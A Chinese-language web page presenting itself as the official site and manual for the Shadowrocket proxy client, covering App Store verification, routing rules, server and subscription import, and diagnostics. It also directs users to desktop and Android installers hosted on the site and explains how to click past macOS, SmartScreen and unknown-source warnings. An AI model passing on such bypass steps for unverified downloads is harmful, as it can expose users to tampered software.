App Store $2.99 一次性 · 其他平台免费
iPhone / iPad
两种设备共用购买记录，获取前先核对商店中的开发者、应用图标与应用 ID。系统要求以 App Store 页面标注为准；若搜不到应用，先检查当前商店地区，不要把名称相似的搜索结果直接视为同一产品。
首次连接时阅读系统的 VPN 配置请求，允许后仍需导入自己的服务器信息。开关表示连接状态，不代表已经有可用线路；完整步骤见使用说明。
官网与官方手册
Shadowrocket 规则教程
全平台客户端的获取与配置说明：先导入已有服务器信息，再设置 Global Routing 与规则分流。iPhone / iPad $2.99 一次性付费，Mac、Windows、安卓、Linux 版免费。
当前版本 2.2.92 · Mac、Windows、安卓、Linux 版免费
配置目录
规则、连接与配置文件
先区分服务器信息与配置文件：前者描述连接到哪里，后者决定请求怎样处理。下面按应用能力展开；界面词与规则关键字均保留英文原文。
先选 Config，再核对规则
各平台理解规则时，先确认当前配置；iPhone / iPad 在 Home 的 Global Routing 中选择 Config 才按配置分流，Proxy 与 Direct 分别用于整体代理、整体直连的检查。规则从上往下匹配，命中后采用指定策略，因此具体目标应写在宽泛条件之前。示例中的 example.com 仅用于教学，局域网网段设为 DIRECT，最后用 FINAL 兜底。修改后重新发起请求，并结合日志确认命中项，不能只凭开关已打开判断规则生效。
DOMAIN-SUFFIX,example.com,PROXY
IP-CIDR,192.168.0.0/16,DIRECT
FINAL,PROXY先验证手动连接，再设条件
iPhone / iPad 的 On Demand 用于按设定条件触发连接，并不替代服务器配置。先在 Home 手动连接成功，再进入 Settings 检查 On Demand 与网络条件，避免把服务器不可用误认为自动连接异常。设置后分别测试 Wi-Fi 与移动网络，观察切换时的连接状态。若手动断开后又出现连接，应先核对条件是否仍满足，而不是连续删除配置。排查期间可暂时停用 On Demand，确认手动路径正常后逐项恢复，其他平台按实际设置项核对。
Settings → On Demand
协议与参数必须成套对应
各平台添加已有服务器时，应依据原始资料选择协议，不要只修改 Type 后沿用其余字段。iPhone / iPad 可从 Add Server 核对 Host、Port 与认证信息，再检查对应协议的传输和 TLS 参数。Shadowsocks、VMess、VLESS、Trojan 等格式之间不能仅凭名称互换；同一个地址也可能需要不同端口或验证方式。导入后先检查字段是否完整，再做连接测试。遇到失败时逐项对照原始资料，分享截图前遮盖密码、标识符及订阅地址中的个人凭据。
ShadowsocksVMessVLESSTrojanHysteria2WireGuard
已有订阅与单条服务器分开导入
各平台导入前，先确认手中是订阅地址还是单条服务器信息；本站仅说明如何使用用户已有的资料。iPhone / iPad 按链接类型选择 Subscribe 或 Add Server，也可使用 Scan QR Code 读取相应内容。导入完成只说明内容已被识别，还需要检查 SERVER 列表、选择服务器并测试。更新订阅前保留本地手动条目的备份，避免误删后无法恢复。若更新失败，先查链接是否完整、是否过期及当前网络能否访问，不要把订阅更新结果等同于所有服务器的可用状态。
Subscribe / Add Server / Scan QR Code
先备份，再编辑与切换
各平台配置文件负责保存通用选项与处理规则，不能代替服务器的认证资料。iPhone / iPad 在 Config 中先确认当前启用项，编辑前保留一份可恢复副本，再按 General、Rule 等分段逐项修改。一次只调整一类设置，保存后用相同目标复测，便于定位差异。使用应用内 iCloud 同步时，应先核对相关 Apple 账号与同步状态，并在另一设备上检查实际结果；同步不代表购买记录或系统权限一并迁移。敏感配置应保存在自己控制的位置，不公开分享完整文件。
[General] / [Rule] / [Host] / [URL Rewrite] / [MITM]
测试结果与实际请求分开判断
各平台诊断应从当前网络与服务器信息开始，再检查分流和 DNS。iPhone / iPad 的 Connectivity Test 可辅助比较服务器响应，但一次测试通过并不代表所有目标请求都会成功。遇到部分网站异常，记录测试目标、Global Routing 与日志中的命中策略，再在同一网络复测。Data 用于观察流量变化，不能代替实际访问结果，也不应直接当作服务商账单。Settings 中的 Diagnostics 可辅助收集线索，反馈前应删除订阅地址、认证字段及能够识别个人访问内容的信息。
Connectivity Test / Data / Settings → Diagnostics
2 档获取
按设备选择获取方式
iPhone / iPad 在 App Store $2.99 一次性付费；Mac、Windows、安卓、Linux 版免费，安装包由本站下载页提供，并通过本站 /dl/ 路径获取。下列入口均指向 Shadowrocket 对应平台。
免费 · Apple 芯片 / Intel
Mac
先打开「关于本机」，按显示的芯片或处理器选择 Apple 芯片版或 Intel 版。两个安装包对应不同硬件，不能通过下载按钮的先后顺序判断适用版本，也不需要依据浏览器名称猜测芯片。
首次打开若提示无法验证开发者，先确认文件来自本站，再到系统「隐私与安全性」查看「仍要打开」。若提示已损坏，按下载页的专门步骤处理，不要全局关闭系统安全设置。
免费
Windows
在下载页获取 Windows 64 位安装程序。打开前核对下载来自本站 /dl/，并保留现有配置的备份。若 SmartScreen 弹出提示，确认文件来源后，可展开「更多信息」再选择「仍要运行」；设备受组织策略管理时，应遵循管理员要求。
完成安装不等于已有连接配置。下一步应导入自己持有的订阅或服务器资料，再分别检查服务器可用性与当前规则，避免同时改动多项设置而失去排查依据。
免费 · arm64
安卓
从本站下载页获取 arm64 安装包。系统要求允许安装未知应用时，只为用于下载的浏览器开启相应权限；安装完成后，可按自己的使用习惯关闭该权限，不必扩大到其他应用。
如果在微信内无法开始下载，使用菜单在系统浏览器中打开本站页面，再重新操作。安装与服务器连接是两个独立步骤，后续连接失败时应回到自己的服务器资料、网络与配置逐项检查。
免费 · deb / rpm / AppImage
Linux
先确认发行版与硬件架构，再选择格式。Debian 系通常选择 deb，Fedora 系通常选择 rpm；需要直接运行文件时，可查看 AppImage。不要把安装包后缀修改成另一种格式，这不会改变包内结构或依赖关系。
AppImage 运行前需要执行权限；deb 与 rpm 应使用对应包管理工具处理依赖。下载页列出安装命令及权限说明，执行前先核对本地文件名与所在目录，再继续导入自己的配置。
正版核对与使用边界
购买记录、服务器与规则分别检查
Shadowrocket（小火箭）是闭源商业应用。本站为官网与官方手册，说明客户端获取与配置；不提供、不销售、不推荐节点或订阅，操作以用户已有自己的订阅或服务器信息为前提。
iPhone / iPad：先核对三项产品资料
iPhone / iPad 在 App Store 获取前，应把开发者名、官方图标和应用 ID 放在一起核对。开发者应为 Shadow Launch Technology Limited，应用 ID 为 932747118，图标与本站页头的官方图标一致。名称可以相似，搜索结果的排序也会变化，单凭中文别称或搜索位置不能完成核验。正确做法是先打开产品详情，再逐项确认，不根据搜索摘要直接作判断。
- 从本站获取页进入 App Store 产品页，确认页面对应 Shadowrocket。
- 查看开发者资料，并确认产品链接中的应用 ID 为 932747118。
- 阅读设备兼容性与当前商店显示信息；系统要求以 App Store 页面标注为准。
电脑与安卓的核对方式不同：Mac、Windows、安卓、Linux 安装包均从本站下载页进入，实际下载使用本站 /dl/ 路径。不要把移动设备的商店购买记录作为判断桌面安装包版本的依据。若尚未确定设备架构，先返回平台说明完成选择，再开始下载。
iPhone / iPad：商店地区与登录状态分开确认
iPhone / iPad 若在搜索中找不到 Shadowrocket，应先核对当前用于 App Store 的 Apple 账号及其国家或地区。中国大陆商店不提供此应用，搜索不到并不能说明设备不受支持。先查看账号地区，再检查所访问产品页与当前商店是否一致，避免反复切换系统语言却没有改变商店范围。
如确需调整账号地区，应通过系统中的 Apple 账号设置，阅读国家或地区页面的条件后操作；账户余额、现有订阅及付款方式等因素可能影响变更。手册只说明应用获取所需的核对路径，不代替账户管理要求。访问其他店面产品页，也不等于账号地区已经自动改变。详细步骤可在商店与账号地区说明中继续查看。
全平台：价格两档不包含服务器服务
iPhone / iPad 版在 App Store 的美区定价为 $2.99 一次性付费，各店面以当地货币显示；Mac、Windows、安卓、Linux 版免费。这两档对应客户端的获取方式，不是连接时长、服务器流量或某条线路的有效期。iPhone 与 iPad 两种设备可使用同一购买记录，重新安装时先确认用于购买的账号。
全平台导入前都应区分三类内容：单条服务器信息用于描述连接参数，订阅地址用于取得或更新服务器列表，配置文件用于保存规则和相关选项。把配置文件导入成功，不代表已经导入服务器；订阅能够更新，也不代表列表里的每一个服务器都能连接。按这一顺序判断，可以减少把不同问题混在一起处理的情况。
iPhone / iPad：换机与重装先查购买记录
iPhone / iPad 换机或重新安装时，先使用原购买账号查看 App Store 的已购项目，再找到 Shadowrocket 重新下载。iPhone / iPad $2.99 一次性付费、Mac、Windows、安卓、Linux 免费的两档不因重装而变成线路续费。若产品页仍要求购买，先停下来核对账号、店面及购买记录，而不是直接重复付款。
购买记录恢复与配置恢复是两件事。重新下载应用后，还需检查服务器列表、当前配置和系统 VPN 权限；原设备中只保存在本地的资料，不应假定已经迁移。使用应用内 iCloud 同步时，也要在新设备中逐项确认同步结果。删除旧设备上的内容前，保留自己能读取的备份，并妥善保存已有服务器信息，避免把重装当作所有连接问题的首个处理步骤。
全平台：更新前保留可回退的配置副本
iPhone / iPad 的应用更新在 App Store 管理；Mac、Windows、安卓、Linux 的安装包从本站下载页获取。更新前先保存当前配置和手动添加的服务器信息，记录正在使用的 Global Routing 与配置名称。版本信息以页面动态读取结果或设备实际显示为准，不应根据旧教程中的截图判断自己是否需要更新。
若更新后出现异常，先在同一网络、同一服务器、同一目标下复测，再检查权限是否变化、配置是否仍被选中，以及 On Demand 条件是否参与连接。一次只恢复或调整一项设置，才能看出是哪一步改变了结果。桌面首次打开的系统提示应按下载页说明处理；组织管理设备上的限制，则应由设备管理员确认，不通过关闭整套安全机制来绕过。
全平台：连接失败按证据逐层缩小范围
全平台连接排查都应先区分“应用无法连接”“服务器测试失败”和“只有部分目标无法访问”。首先确认当前网络本身可用，其次检查已有服务器的地址、端口、认证与协议字段，再核对当前配置和规则命中。若只有部分请求异常，保留同一测试目标，对照 DNS 与策略选择；不要在未记录结果时同时更换服务器、规则和 DNS。
iPhone / iPad 可先看 Home 的连接状态与 SERVER 列表，再使用 Connectivity Test 辅助判断；Settings 中的 Diagnostics 与 Data 提供不同线索。测试响应、实际请求结果和流量统计不是同一个指标，需要交叉阅读。需要反馈时，记录所处网络、操作顺序、可复现目标及错误提示，遮盖订阅地址、密码与个人标识。后续可按疑难手册的症状章节继续排查，或在疑难解答中查找简短处理路径。
技术笔记
按当前操作查阅步骤
以下三篇分别对应首次打开、Linux 安装与已有订阅导入。先选当前遇到的步骤，再按照文章顺序核对；不要把系统权限、服务器认证和规则选择合并成同一个问题。
小火箭首次打开：VPN 配置权限与 Home 页说明
适用于 iPhone / iPad。先理解系统请求添加 VPN 配置的含义，再按顺序查看 Not Connected、Global Routing、Connectivity Test 与 SERVER。区分允许系统配置、选好服务器和真正连通三个步骤，避免仅凭开关状态判断结果。
阅读首次打开说明 →Linux 安装：deb、rpm 与 AppImage 的选择
适用于 Linux。按发行版选择安装包格式，再查看 apt、dnf 或 AppImage 的执行权限步骤。先确认下载目录与实际文件名，再执行安装命令；依赖报错与启动权限问题应分别处理，不能靠修改扩展名解决。
阅读 Linux 安装步骤 →订阅导入：Subscribe、Add Server 与扫码入口
以用户已有订阅或服务器信息为前提，对照 Subscribe、Add Server、Scan QR Code 与剪贴板识别的适用情况。导入前先分清链接内容，导入后核对列表与字段，再进行连接测试，避免把识别成功等同于连接成功。
阅读导入入口对照 →